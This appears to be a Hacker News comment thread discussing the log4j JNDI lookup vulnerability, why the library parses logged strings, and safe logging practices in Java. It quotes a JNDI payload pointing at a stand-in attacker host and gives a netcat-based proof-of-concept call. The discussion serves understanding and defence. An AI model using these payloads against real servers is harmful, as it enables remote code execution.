7 ms·

Thanks for the write-up but I have a few questions. Why does log4j's .log() method attempt to parse the strings sent to it? It is the last thing I would expect

• freeqaz 5y ago
  When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place for this in there with: "When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property." ... I'm guessing they must have broken this, or the exploit found a bypass for those? I'll do some digging and update the blog post if I find anything interesting. 0: https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...
  • spuz 5y ago
    What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log? I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them to exploit this bug as you are doing in your example code?
    • BeefWellington 5y ago
      Best guess: Resolving some kind of entity name to a username for some weird auditing requirement few people have ever heard of. It's the kind of feature I've seen in some software in the past. That's just a guess though.
      • QuercusMax 5y ago
        That sounds like exactly the kind of ridiculous feature that would lead to a Java RCE
      • Thorrez 5y ago
        The question isn't about the purpose of the feature. The question is why it's implemented with string parsing. In C, it's unsafe to do printf(string_variable); because variable will get parsed as a format string. The way to solve the vulnerability is printf("%s", string_variable); Is that the same in Java logging libraries? Is it well-known that the logged value will be parsed? What's the safe way to log a value in Java exactly, knowing that nothing will parse that value?
        • didibus 5y ago
          The RCE isn't in the parsing. What gets parsed is a string that tells the server to make a request to another server. If you use a weird protocol for that, like jndi:ldap, you can then return a class which will be automatically loaded. So the code injection happens as the response to the remote request. The part the logger plays is that you can initiate that remote request by having the logger log some special string.
          • ec109685 5y ago
            They are arguing that it’s weird that a user supplied string is ever “parsed” versus printf type behavior.
          • Thorrez 5y ago
            I think there are 2 problems: 1. Attacker-controlled data is being parsed as code (format code, not Java code). I'm not sure to what degree this is the logging library's fault vs programmer error passing attacker-controlled data as a format string. I know in Go, the standard libraries take care to help programmers avoid this problem by making sure to have the character "f" in the function name to indicate the function parameter is a format string. log.Print() takes data, log.Printf() takes a format string, log.Fatal() takes data, log.Fatalf() takes a format string. 2. The format string syntax contains significantly exploitable features if an attacker can control it. This is the same as in C, because in C, printf() contains exploitable features. This is not the case in Go, because the worst the attacker can do in Go is cause the formatting to be strange or the .String() or .Error() methods to be called on the other inputs. Note that even without 2, 1 is still a correctness problem. If I want to log attacker-controlled data, I want it to display accurately. If the attacker's User-Agent header contains weird characters, I want those to be logged exactly, not inadvertently transformed into something strange by my library.
  • hn_throwaway_99 5y ago
    "When using LDAP only references to the local host name or ip address are supported along with any hosts or ip addresses listed in the log4j2.allowedLdapHosts property." Those config measures were put in place as part of the fix for this issue. I.e they didn't exist before the fix was released.
  • formerly_proven 5y ago
    Fundamentally this is a format string attack. You're not supposed to do "log.info(user_supplied_stuff)", you're supposed to do "log.info("User sent: %s", user_supplied_stuff)". Edit: This is wrong - the exploit works anywhere in log messages, even parameters: https://news.ycombinator.com/item?id=29506397 https://news.ycombinator.com/item?id=29506397 Seems like a late contender for dumbest/most-unnecessary RCE award in 2021. Java is uncannily good at those for a memory-safe language.
    • deleted 5y ago
      [deleted]
    • kaba0 5y ago
      How is Java uncannily good at those? Do you have other examples?
      • GrayShade 5y ago
        I'm not the grandparent, but there's been a slew of deserialization-related vulnerabilities in Java and .NET libraries where user input is used to instantiate arbitrary classes and invoke methods on them.
        • Nursie 5y ago
          Lot of them in jackson in recent years, IIRC.
          • abhishekjha 5y ago
            Is that why ConcurrentHashmap uses a RB-tree in worst case scenario, as in if there are too many collisions in a bucket?
            • Nursie 5y ago
              I'm not sure that's related here? Jackson is a JSON and XML serialiser/deserialiser, and it has a bunch of ways to automatically serialise and deserialise things into objects, without being provided a template. This is where the danger lies, if you just let it do its thing it can be exploited as it will load classes that the input data asks for. There have been a number of RCEs about this in recent years I'm not sure what that has to do with the performance of concurrenthashmap under heavy collisions... ?
• ianlevesque 5y ago
  The method that they're exploiting is akin to printf("whoops this is a format string"). The right way to handle user input in one of these is log.error("here's my user-provided input: {}", userInput) rather than log.error(userInput)
  • shawnz 5y ago
    What if you are using SLF4J as a front-end to log4j, does it escape these special strings before passing them to the logging system?
    • joedj 5y ago
      No.
  • natanbc 5y ago
    The RCE works with both ways, start nc (nc -lp 1234) and run this org.apache.logging.log4j.LogManager.getLogger("whatever").error("not safe {}", "${jndi:ldap://127.0.0.1:1234/abc}")
    • ianlevesque 5y ago
      Well that’s just appalling.
• maxdamantus 5y ago
  The string that is vulnerable is actually not meant to be user input, but a formatting string. EDIT: nevermind, the issue apparently arises outside of formatting strings—though it would have been nice if the example had demonstrated this. The issue occurs in incorrect logging code such as: > logger.info("Data: " + data); But the correct way of logging the above data is: > logger.info("Data: {}", data); It's analogous to using something like the following in C: > printf(data); In the incorrect cases (log4j or C), the user input is being used as a format string, and the user can likely cause an RCE. This is an issue in C for reasons that should be obvious. Java has historically been used very reflectively, so whenever there's some expression interpreter or deserialiser involved, there's a good chance it could be RCEd with arbitrary input.
  • koenigdavidmj 5y ago
    It was a few months ago, but if I recall correctly, there were two overrides for info (and the other equivalent methods). info(String, String...) would do {} expansion like you mentioned, but info(String) would log the string directly, not doing format expansion on it. I'm not sure how this interacts with the RCE issue reported here. EDIT: That's because I was thinking of Slf4j, which has additional smarts here.
    • maxdamantus 5y ago
      I'm not aware of that feature, but I guess it would mitigate this issue, since the problematic code: > logger.info("Data: {}"); would effectively turn into something safe: > logger.info("{}", "Data: {}"); And the issue would only arise if someone mixes the two patterns: > logger.info("Data for " + username + ": {}", data); Overall, I don't like the sound of that feature, since it blurs the line between correct and incorrect use of the logging API. The first argument should always be a constant formatting string.
      • immibis 5y ago
        Why though? It is not typical in Java to use format strings, unless you call String.format explicitly. It's not like C where printf-style APIs are common.